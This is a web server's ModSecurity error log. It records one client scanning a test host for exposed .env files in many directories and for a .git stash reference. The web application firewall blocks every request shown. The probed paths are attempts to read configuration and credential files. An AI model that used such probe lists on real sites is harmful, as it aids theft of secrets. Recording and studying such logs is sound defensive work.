[Thu Jul 10 08:35:28.539534 2025] [:error] [pid 1066256] [client 185.177.72.106:4666] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/icon/.env&quot;] [unique_id &quot;aG9fMFyvy-JmMjlZ6U3gMAAAAAY&quot;]
[Thu Jul 10 08:35:28.539741 2025] [:error] [pid 1066256] [client 185.177.72.106:4666] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/icon/.env&quot;] [unique_id &quot;aG9fMFyvy-JmMjlZ6U3gMAAAAAY&quot;]
[Thu Jul 10 08:35:28.603695 2025] [:error] [pid 1066256] [client 185.177.72.106:4666] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /home/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/home/.env&quot;] [unique_id &quot;aG9fMFyvy-JmMjlZ6U3gMQAAAAY&quot;]
[Thu Jul 10 08:35:28.603957 2025] [:error] [pid 1066256] [client 185.177.72.106:4666] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/home/.env&quot;] [unique_id &quot;aG9fMFyvy-JmMjlZ6U3gMQAAAAY&quot;]
[Thu Jul 10 08:35:28.604480 2025] [:error] [pid 1066256] [client 185.177.72.106:4666] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/home/.env&quot;] [unique_id &quot;aG9fMFyvy-JmMjlZ6U3gMQAAAAY&quot;]
[Thu Jul 10 08:35:32.889620 2025] [:error] [pid 1066256] [client 185.177.72.106:4666] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /beta/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/beta/.env&quot;] [unique_id &quot;aG9fNFyvy-JmMjlZ6U3gNAAAAAY&quot;]
[Thu Jul 10 08:35:32.889886 2025] [:error] [pid 1066256] [client 185.177.72.106:4666] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/beta/.env&quot;] [unique_id &quot;aG9fNFyvy-JmMjlZ6U3gNAAAAAY&quot;]
[Thu Jul 10 08:35:32.890059 2025] [:error] [pid 1066256] [client 185.177.72.106:4666] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/beta/.env&quot;] [unique_id &quot;aG9fNFyvy-JmMjlZ6U3gNAAAAAY&quot;]
[Thu Jul 10 08:35:32.935577 2025] [:error] [pid 1066256] [client 185.177.72.106:4666] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /tests/default_settings/v11.0/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v11.0/.env&quot;] [unique_id &quot;aG9fNFyvy-JmMjlZ6U3gNgAAAAY&quot;]
[Thu Jul 10 08:35:32.935812 2025] [:error] [pid 1066256] [client 185.177.72.106:4666] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v11.0/.env&quot;] [unique_id &quot;aG9fNFyvy-JmMjlZ6U3gNgAAAAY&quot;]
[Thu Jul 10 08:35:32.935976 2025] [:error] [pid 1066256] [client 185.177.72.106:4666] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v11.0/.env&quot;] [unique_id &quot;aG9fNFyvy-JmMjlZ6U3gNgAAAAY&quot;]
[Thu Jul 10 08:35:32.964802 2025] [:error] [pid 1066256] [client 185.177.72.106:4666] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/bdd/fixtures/couchdb/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/couchdb/.env&quot;] [unique_id &quot;aG9fNFyvy-JmMjlZ6U3gNwAAAAY&quot;]
[Thu Jul 10 08:35:32.965050 2025] [:error] [pid 1066256] [client 185.177.72.106:4666] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/couchdb/.env&quot;] [unique_id &quot;aG9fNFyvy-JmMjlZ6U3gNwAAAAY&quot;]
[Thu Jul 10 08:35:32.965243 2025] [:error] [pid 1066256] [client 185.177.72.106:4666] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/couchdb/.env&quot;] [unique_id &quot;aG9fNFyvy-JmMjlZ6U3gNwAAAAY&quot;]
[Thu Jul 10 08:35:32.987409 2025] [:error] [pid 1066256] [client 185.177.72.106:4666] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /content/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/content/.env&quot;] [unique_id &quot;aG9fNFyvy-JmMjlZ6U3gOAAAAAY&quot;]
[Thu Jul 10 08:35:32.987643 2025] [:error] [pid 1066256] [client 185.177.72.106:4666] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/content/.env&quot;] [unique_id &quot;aG9fNFyvy-JmMjlZ6U3gOAAAAAY&quot;]
[Thu Jul 10 08:35:32.987803 2025] [:error] [pid 1066256] [client 185.177.72.106:4666] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/content/.env&quot;] [unique_id &quot;aG9fNFyvy-JmMjlZ6U3gOAAAAAY&quot;]
[Thu Jul 10 08:35:33.011715 2025] [:error] [pid 1066256] [client 185.177.72.106:4666] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /main/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/main.js/.env&quot;] [unique_id &quot;aG9fNVyvy-JmMjlZ6U3gOQAAAAY&quot;]
[Thu Jul 10 08:35:33.011927 2025] [:error] [pid 1066256] [client 185.177.72.106:4666] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/main.js/.env&quot;] [unique_id &quot;aG9fNVyvy-JmMjlZ6U3gOQAAAAY&quot;]
[Thu Jul 10 08:35:33.012081 2025] [:error] [pid 1066256] [client 185.177.72.106:4666] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/main.js/.env&quot;] [unique_id &quot;aG9fNVyvy-JmMjlZ6U3gOQAAAAY&quot;]
[Thu Jul 10 08:35:33.043098 2025] [:error] [pid 1066256] [client 185.177.72.106:4666] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /libs/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/libs/.env&quot;] [unique_id &quot;aG9fNVyvy-JmMjlZ6U3gOgAAAAY&quot;]
[Thu Jul 10 08:35:33.043346 2025] [:error] [pid 1066256] [client 185.177.72.106:4666] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/libs/.env&quot;] [unique_id &quot;aG9fNVyvy-JmMjlZ6U3gOgAAAAY&quot;]
[Thu Jul 10 08:35:33.043528 2025] [:error] [pid 1066256] [client 185.177.72.106:4666] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/libs/.env&quot;] [unique_id &quot;aG9fNVyvy-JmMjlZ6U3gOgAAAAY&quot;]
[Thu Jul 10 08:35:33.090551 2025] [:error] [pid 1066256] [client 185.177.72.106:4666] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/refs/stash&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/stash&quot;] [unique_id &quot;aG9fNVyvy-JmMjlZ6U3gOwAAAAY&quot;]
[Thu Jul 10 08:35:33.090799 2025] [:error] [pid 1066256] [client 185.177.72.106:4666] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/stash&quot;] [unique_id &quot;aG9fNVyvy-JmMjlZ6U3gOwAAAAY&quot;]
[Thu Jul 10 08:35:33.090994 2025] [:error] [pid 1066256] [client 185.177.72.106:4666] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/stash&quot;] [unique_id &quot;aG9fNVyvy-JmMjlZ6U3gOwAAAAY&quot;]
[Thu Jul 10 08:35:33.127134 2025] [:error] [pid 1066256] [client 185.177.72.106:4666] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /images/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/images/.env&quot;] [unique_id &quot;aG9fNVyvy-JmMjlZ6U3gPAAAAAY&quot;]
[Thu Jul 10 08:35:33.127439 2025] [:error] [pid 1066256] [client 185.177.72.106:4666] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/images/.env&quot;] [unique_id &quot;aG9fNVyvy-JmMjlZ6U3gPAAAAAY&quot;]
[Thu Jul 10 08:35:33.127629 2025] [:error] [pid 1066256] [client 185.177.72.106:4666] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/images/.env&quot;] [unique_id &quot;aG9fNVyvy-JmMjlZ6U3gPAAAAAY&quot;]
[Thu Jul 10 08:35:33.257788 2025] [:error] [pid 1066256] [client 185.177.72.106:4666] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /export/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/export/.env&quot;] [unique_id &quot;aG9fNVyvy-JmMjlZ6U3gPwAAAAY&quot;]
[Thu Jul 10 08:35:33.258033 2025] [:error] [pid 1066256] [client 185.177.72.106:4666] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/export/.env&quot;] [unique_id &quot;aG9fNVyvy-JmMjlZ6U3gPwAAAAY&quot;]
[Thu Jul 10 08:35:33.258218 2025] [:error] [pid 1066256] [client 185.177.72.106:4666] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/export/.env&quot;] [unique_id &quot;aG9fNVyvy-JmMjlZ6U3gPwAAAAY&quot;]
[Thu Jul 10 08:35:33.300920 2025] [:error] [pid 1066256] [client 185.177.72.106:4666] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /image_data/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/image_data/.env&quot;] [unique_id &quot;aG9fNVyvy-JmMjlZ6U3gQAAAAAY&quot;]
